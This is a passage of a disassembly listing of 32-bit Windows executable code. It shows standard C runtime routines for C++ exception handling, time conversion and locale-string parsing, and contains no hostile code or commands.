		jnz	short locret_42825A
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_42825A
		call	sub_41D4BA
		push	eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_428540
		add	esp, 8

locret_42825A:				; CODE XREF: sub_4281FD+28j
					; sub_4281FD+31j ...
		retn
sub_4281FD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428120


loc_42825B:				; CODE XREF: sub_428120+DBj
		mov	eax, [ebp+var_2C]


loc_42825E:				; CODE XREF: sub_428120+CDj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_428120
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428270	proc near		; CODE XREF: sub_428120+A2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_4282AC
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4282AC
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short loc_4282AC
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_4282AC
		mov	eax, 1
		jmp	short loc_4282AE
; ---------------------------------------------------------------------------


loc_4282AC:				; CODE XREF: sub_428270+15j
					; sub_428270+1Ej ...
		xor	eax, eax


loc_4282AE:				; CODE XREF: sub_428270+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_428270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4282C0	proc near		; CODE XREF: sub_428060+22p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4381F8
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_428306
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		movsx	eax, byte ptr [edx+8]
		test	eax, eax
		jz	short loc_428306
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_42830B


loc_428306:				; CODE XREF: sub_4282C0+2Dj
					; sub_4282C0+3Bj
		jmp	loc_42852A
; ---------------------------------------------------------------------------


loc_42830B:				; CODE XREF: sub_4282C0+44j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+arg_4]
		lea	edx, [ecx+eax+0Ch]
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_428386
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_42DE70
		add	esp, 8
		test	eax, eax
		jz	short loc_42837C
		push	1
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_42DEA0
		add	esp, 8
		test	eax, eax
		jz	short loc_42837C
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		mov	[edx], ecx
		mov	edx, [ebp+arg_C]
		add	edx, 8
		push	edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		push	ecx
		call	sub_4285D0
		add	esp, 8
		mov	edx, [ebp+var_1C]
		mov	[edx], eax
		jmp	short loc_428381
; ---------------------------------------------------------------------------


loc_42837C:				; CODE XREF: sub_4282C0+81j
					; sub_4282C0+93j
		call	sub_428720


loc_428381:				; CODE XREF: sub_4282C0+BAj
		jmp	loc_428513
; ---------------------------------------------------------------------------


loc_428386:				; CODE XREF: sub_4282C0+6Cj
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42840A
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_42DE70
		add	esp, 8
		test	eax, eax
		jz	short loc_428400
		push	1
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_42DEA0
		add	esp, 8
		test	eax, eax
		jz	short loc_428400
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_41D520
		add	esp, 0Ch
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+14h], 4
		jnz	short loc_4283FE
		mov	edx, [ebp+var_1C]
		cmp	dword ptr [edx], 0
		jz	short loc_4283FE
		mov	eax, [ebp+arg_C]
		add	eax, 8
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		push	edx
		call	sub_4285D0
		add	esp, 8
		mov	ecx, [ebp+var_1C]
		mov	[ecx], eax


loc_4283FE:				; CODE XREF: sub_4282C0+11Aj
					; sub_4282C0+122j
		jmp	short loc_428405
; ---------------------------------------------------------------------------


loc_428400:				; CODE XREF: sub_4282C0+E5j
					; sub_4282C0+F7j
		call	sub_428720


loc_428405:				; CODE XREF: sub_4282C0:loc_4283FEj
		jmp	loc_428513
; ---------------------------------------------------------------------------


loc_42840A:				; CODE XREF: sub_4282C0+D0j
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_428470
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_42DE70
		add	esp, 8
		test	eax, eax
		jz	short loc_428466
		push	1
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_42DEA0
		add	esp, 8
		test	eax, eax
		jz	short loc_428466
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+arg_C]
		add	edx, 8
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_4285D0
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_41D520
		add	esp, 0Ch
		jmp	short loc_42846B
; ---------------------------------------------------------------------------


loc_428466:				; CODE XREF: sub_4282C0+166j
					; sub_4282C0+178j
		call	sub_428720


loc_42846B:				; CODE XREF: sub_4282C0+1A4j
		jmp	loc_428513
; ---------------------------------------------------------------------------


loc_428470:				; CODE XREF: sub_4282C0+151j
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_42DE70
		add	esp, 8
		test	eax, eax
		jz	loc_42850E
		push	1
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_42DEA0
		add	esp, 8
		test	eax, eax
		jz	short loc_42850E
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_42DED0
		add	esp, 4
		test	eax, eax
		jz	short loc_42850E
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		and	eax, 4
		test	eax, eax
		jz	short loc_4284E5
		push	1
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_4285D0
		add	esp, 8
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_41D090
		jmp	short loc_42850C
; ---------------------------------------------------------------------------


loc_4284E5:				; CODE XREF: sub_4282C0+1F8j
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_4285D0
		add	esp, 8
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_41D080


loc_42850C:				; CODE XREF: sub_4282C0+223j
		jmp	short loc_428513
; ---------------------------------------------------------------------------


loc_42850E:				; CODE XREF: sub_4282C0+1C3j
					; sub_4282C0+1D9j ...
		call	sub_428720


loc_428513:				; CODE XREF: sub_4282C0:loc_428381j
					; sub_4282C0:loc_428405j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42852A
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_428670


loc_42852A:				; CODE XREF: sub_4282C0:loc_428306j
					; sub_4282C0+25Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4282C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428540	proc near		; CODE XREF: sub_427AB0+252p
					; sub_4281FD+55p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_438208
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	[ebp+arg_0], 0
		jz	short loc_4285B5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_4285B5
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_41D070
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4285B5
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_428670


loc_4285B5:				; CODE XREF: sub_428540+2Aj
					; sub_428540+36j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_428540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4285D0	proc near		; CODE XREF: sub_4282C0+ADp
					; sub_4282C0+131p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+4], 0
		jl	short loc_42860F
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		mov	ecx, [ebp+var_4]
		add	ecx, [eax+edx]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, [edx+4]
		mov	[ebp+var_4], eax


loc_42860F:				; CODE XREF: sub_4285D0+16j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4285D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428620	proc near		; CODE XREF: sub_41D170+4Dp
					; sub_427F30+8Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D4DD
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42865F
		mov	ecx, 2


loc_42865F:				; CODE XREF: sub_428620+38j
		push	ecx
		call	sub_41D4DD
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_428620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428670	proc near		; CODE XREF: sub_427AB0:loc_427D43p
					; sub_428030:loc_428051p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004286E4 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_438218
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		call	sub_423CF0
		cmp	dword ptr [eax+60h], 0
		jz	short loc_4286D0
		mov	[ebp+var_4], 1
		call	sub_423CF0
		call	dword ptr [eax+60h]
		mov	[ebp+var_4], 0
		jmp	short loc_4286D0
; ---------------------------------------------------------------------------


loc_4286C0:				; DATA XREF: .nsp0:00438228o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4286C6:				; DATA XREF: .nsp0:0043822Co
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_4286D0:				; CODE XREF: sub_428670+36j
					; sub_428670+4Ej
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4286DE
		jmp	short loc_4286E4
sub_428670	endp


; =============== S U B	R O U T	I N E =======================================



sub_4286DE	proc near		; CODE XREF: sub_428670+67p
					; DATA XREF: .nsp0:00438220o
		call	sub_42DF00
		retn
sub_4286DE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428670


loc_4286E4:				; CODE XREF: sub_428670+6Cj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_428670
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_423CF0
		cmp	dword ptr [eax+64h], 0
		jz	short loc_428716
		call	sub_423CF0
		call	dword ptr [eax+64h]


loc_428716:				; CODE XREF: .nsp0:0042870Cj
		call	sub_428670
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428720	proc near		; CODE XREF: sub_41D380+23p
					; sub_41D380:loc_41D3EDp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00428790 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_438230
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		cmp	off_451A70, 0
		jz	short loc_42877C
		mov	[ebp+var_4], 1
		call	off_451A70
		mov	[ebp+var_4], 0
		jmp	short loc_42877C
; ---------------------------------------------------------------------------


loc_42876C:				; DATA XREF: .nsp0:00438240o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_428772:				; DATA XREF: .nsp0:00438244o
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_42877C:				; CODE XREF: sub_428720+34j
					; sub_428720+4Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42878A
		jmp	short loc_428790
sub_428720	endp


; =============== S U B	R O U T	I N E =======================================



sub_42878A	proc near		; CODE XREF: sub_428720+63p
					; DATA XREF: .nsp0:00438238o
		call	sub_428670
		retn
sub_42878A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428720


loc_428790:				; CODE XREF: sub_428720+68j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_428720
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4287B0	proc near		; CODE XREF: sub_41DA60+161p

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		sub	eax, 76Ch
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 46h
		jl	short loc_4287D0
		cmp	[ebp+arg_0], 8Ah
		jle	short loc_4287D8


loc_4287D0:				; CODE XREF: sub_4287B0+15j
		or	eax, 0FFFFFFFFh
		jmp	loc_42889A
; ---------------------------------------------------------------------------


loc_4287D8:				; CODE XREF: sub_4287B0+1Ej
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		add	edx, dword_451E2C[ecx*4]
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		and	eax, 3
		test	eax, eax
		jnz	short loc_428801
		cmp	[ebp+arg_4], 2
		jle	short loc_428801
		mov	ecx, [ebp+var_2C]
		add	ecx, 1
		mov	[ebp+var_2C], ecx


loc_428801:				; CODE XREF: sub_4287B0+40j
					; sub_4287B0+46j
		mov	edx, [ebp+arg_0]
		sub	edx, 46h
		imul	edx, 16Dh
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		sar	eax, 2
		mov	ecx, [ebp+var_2C]
		add	ecx, edx
		lea	edx, [eax+ecx-11h]
		imul	edx, 18h
		add	edx, [ebp+arg_C]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		imul	eax, 3Ch
		add	eax, [ebp+arg_10]
		imul	eax, 3Ch
		add	eax, [ebp+arg_14]
		mov	[ebp+var_4], eax
		call	sub_42DF20
		mov	ecx, [ebp+var_4]
		add	ecx, dword_451D48
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_2C]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_20], edx
		cmp	[ebp+arg_18], 1
		jz	short loc_42888B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_428897
		cmp	dword_451D4C, 0
		jz	short loc_428897
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_42E330
		add	esp, 4
		test	eax, eax
		jz	short loc_428897


loc_42888B:				; CODE XREF: sub_4287B0+BAj
		mov	ecx, [ebp+var_4]
		add	ecx, dword_451D50
		mov	[ebp+var_4], ecx


loc_428897:				; CODE XREF: sub_4287B0+C0j
					; sub_4287B0+C9j ...
		mov	eax, [ebp+var_4]


loc_42889A:				; CODE XREF: sub_4287B0+23j
		mov	esp, ebp
		pop	ebp
		retn
sub_4287B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0B0h
		cmp	dword ptr [ebp+8], 0
		jl	short loc_4288B5
		cmp	dword ptr [ebp+8], 5
		jle	short loc_4288BC


loc_4288B5:				; CODE XREF: .nsp0:004288ADj
		xor	eax, eax
		jmp	loc_428C8B
; ---------------------------------------------------------------------------


loc_4288BC:				; CODE XREF: .nsp0:004288B3j
		push	13h
		call	sub_41FB40
		add	esp, 4
		mov	dword ptr [ebp-4], 1
		mov	eax, dword_4EFD44
		add	eax, 1
		mov	dword_4EFD44, eax


loc_4288DA:				; CODE XREF: .nsp0:004288EBj
		cmp	dword_4EFD48, 0
		jz	short loc_4288ED
		push	1
		call	dword_4F1334	; Sleep
		jmp	short loc_4288DA
; ---------------------------------------------------------------------------


loc_4288ED:				; CODE XREF: .nsp0:004288E1j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_428931
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_428911
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_428C90
		add	esp, 8
		mov	[ebp-0A8h], eax
		jmp	short loc_428923
; ---------------------------------------------------------------------------


loc_428911:				; CODE XREF: .nsp0:004288F7j
		mov	eax, [ebp+8]
		imul	eax, 0Ch
		mov	ecx, dword_451B84[eax]
		mov	[ebp-0A8h], ecx


loc_428923:				; CODE XREF: .nsp0:0042890Fj
		mov	edx, [ebp-0A8h]
		mov	[ebp-8], edx
		jmp	loc_428C6B
; ---------------------------------------------------------------------------


loc_428931:				; CODE XREF: .nsp0:004288F1j
		mov	dword ptr [ebp-14h], 1
		mov	dword ptr [ebp-0Ch], 0
		cmp	dword ptr [ebp+0Ch], 0
		jz	loc_428C63
		mov	eax, [ebp+0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 4Ch
		jnz	loc_428B74
		mov	edx, [ebp+0Ch]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 43h
		jnz	loc_428B74
		mov	ecx, [ebp+0Ch]
		movsx	edx, byte ptr [ecx+2]
		cmp	edx, 5Fh
		jnz	loc_428B74
		mov	eax, [ebp+0Ch]
		mov	[ebp-9Ch], eax


loc_428981:				; CODE XREF: .nsp0:00428B43j
		push	offset asc_43828C ; "=;"
		mov	ecx, [ebp-9Ch]
		push	ecx
		call	sub_42FD60
		add	esp, 8
		mov	[ebp-0A0h], eax
		cmp	dword ptr [ebp-0A0h], 0
		jz	short loc_4289CD
		mov	edx, [ebp-0A0h]
		sub	edx, [ebp-9Ch]
		mov	[ebp-0A4h], edx
		cmp	dword ptr [ebp-0A4h], 0
		jz	short loc_4289CD
		mov	eax, [ebp-0A0h]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Bh
		jnz	short loc_4289F3


loc_4289CD:				; CODE XREF: .nsp0:004289A2j
					; .nsp0:004289BDj
		cmp	dword ptr [ebp-4], 0
		jz	short loc_4289EC
		push	13h
		call	sub_41FBE0
		add	esp, 4
		mov	edx, dword_4EFD44
		sub	edx, 1
		mov	dword_4EFD44, edx


loc_4289EC:				; CODE XREF: .nsp0:004289D1j
		xor	eax, eax
		jmp	loc_428C8B
; ---------------------------------------------------------------------------


loc_4289F3:				; CODE XREF: .nsp0:004289CBj
		mov	dword ptr [ebp-10h], 1
		jmp	short loc_428A05
; ---------------------------------------------------------------------------


loc_4289FC:				; CODE XREF: .nsp0:loc_428A51j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_428A05:				; CODE XREF: .nsp0:004289FAj
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_428A53
		mov	ecx, [ebp-0A4h]
		push	ecx
		mov	edx, [ebp-9Ch]
		push	edx
		mov	eax, [ebp-10h]
		imul	eax, 0Ch
		mov	ecx, off_451B80[eax]
		push	ecx
		call	sub_41C2C0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_428A51
		mov	edx, [ebp-10h]
		imul	edx, 0Ch
		mov	eax, off_451B80[edx]
		push	eax
		call	sub_418D00
		add	esp, 4
		cmp	[ebp-0A4h], eax
		jnz	short loc_428A51
		jmp	short loc_428A53
; ---------------------------------------------------------------------------


loc_428A51:				; CODE XREF: .nsp0:00428A30j
					; .nsp0:00428A4Dj
		jmp	short loc_4289FC
; ---------------------------------------------------------------------------


loc_428A53:				; CODE XREF: .nsp0:00428A09j
					; .nsp0:00428A4Fj
		push	offset asc_438288 ; ";"
		mov	ecx, [ebp-0A0h]
		add	ecx, 1
		mov	[ebp-0A0h], ecx
		mov	edx, [ebp-0A0h]
		push	edx
		call	sub_42FD20
		add	esp, 8
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jnz	short loc_428AB9
		mov	eax, [ebp-0A0h]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Bh
		jz	short loc_428AB9
		cmp	dword ptr [ebp-4], 0
		jz	short loc_428AB2
		push	13h
		call	sub_41FBE0
		add	esp, 4
		mov	edx, dword_4EFD44
		sub	edx, 1
		mov	dword_4EFD44, edx


loc_428AB2:				; CODE XREF: .nsp0:00428A97j
		xor	eax, eax
		jmp	loc_428C8B
; ---------------------------------------------------------------------------


loc_428AB9:				; CODE XREF: .nsp0:00428A83j
					; .nsp0:00428A91j
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_428B0A
		mov	eax, [ebp-0A4h]
		push	eax
		mov	ecx, [ebp-0A0h]
		push	ecx
		lea	edx, [ebp-98h]
		push	edx
		call	sub_41B1F0
		add	esp, 0Ch
		mov	eax, [ebp-0A4h]
		mov	byte ptr [ebp+eax-98h],	0
		lea	ecx, [ebp-98h]
		push	ecx
		mov	edx, [ebp-10h]
		push	edx
		call	sub_428C90
		add	esp, 8
		test	eax, eax
		jz	short loc_428B0A
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax


loc_428B0A:				; CODE XREF: .nsp0:00428ABDj
					; .nsp0:00428AFFj
		mov	ecx, [ebp-0A0h]
		add	ecx, [ebp-0A4h]
		mov	[ebp-9Ch], ecx
		mov	edx, [ebp-9Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_428B38
		mov	ecx, [ebp-9Ch]
		add	ecx, 1
		mov	[ebp-9Ch], ecx


loc_428B38:				; CODE XREF: .nsp0:00428B27j
		mov	edx, [ebp-9Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	loc_428981
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_428B5C
		call	sub_428E30
		mov	[ebp-0ACh], eax
		jmp	short loc_428B66
; ---------------------------------------------------------------------------


loc_428B5C:				; CODE XREF: .nsp0:00428B4Dj
		mov	dword ptr [ebp-0ACh], 0


loc_428B66:				; CODE XREF: .nsp0:00428B5Aj
		mov	ecx, [ebp-0ACh]
		mov	[ebp-8], ecx
		jmp	loc_428C61
; ---------------------------------------------------------------------------


loc_428B74:				; CODE XREF: .nsp0:00428952j
					; .nsp0:00428962j ...
		mov	edx, [ebp+8]
		push	edx
		push	0
		push	0
		lea	eax, [ebp-98h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_428F30
		add	esp, 14h
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_428C61
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_428BAE
; ---------------------------------------------------------------------------


loc_428BA5:				; CODE XREF: .nsp0:loc_428C0Ej
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_428BAE:				; CODE XREF: .nsp0:00428BA3j
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_428C10
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_428C0E
		mov	eax, [ebp-10h]
		imul	eax, 0Ch
		mov	ecx, dword_451B84[eax]
		push	ecx
		lea	edx, [ebp-98h]
		push	edx
		call	sub_41C4C0
		add	esp, 8
		test	eax, eax
		jz	short loc_428C05
		lea	eax, [ebp-98h]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_428C90
		add	esp, 8
		test	eax, eax
		jz	short loc_428BFC
		mov	edx, [ebp-0Ch]
		add	edx, 1
		mov	[ebp-0Ch], edx
		jmp	short loc_428C03
; ---------------------------------------------------------------------------


loc_428BFC:				; CODE XREF: .nsp0:00428BEFj
		mov	dword ptr [ebp-14h], 0


loc_428C03:				; CODE XREF: .nsp0:00428BFAj
		jmp	short loc_428C0E
; ---------------------------------------------------------------------------


loc_428C05:				; CODE XREF: .nsp0:00428BD8j
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax


loc_428C0E:				; CODE XREF: .nsp0:00428BB8j
					; .nsp0:loc_428C03j
		jmp	short loc_428BA5
; ---------------------------------------------------------------------------


loc_428C10:				; CODE XREF: .nsp0:00428BB2j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_428C3B
		call	sub_428E30
		mov	[ebp-8], eax
		push	2
		mov	ecx, dword_451B84
		push	ecx
		call	sub_419980
		add	esp, 8
		mov	dword_451B84, 0
		jmp	short loc_428C61
; ---------------------------------------------------------------------------


loc_428C3B:				; CODE XREF: .nsp0:00428C14j
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_428C4E
		call	sub_428E30
		mov	[ebp-0B0h], eax
		jmp	short loc_428C58
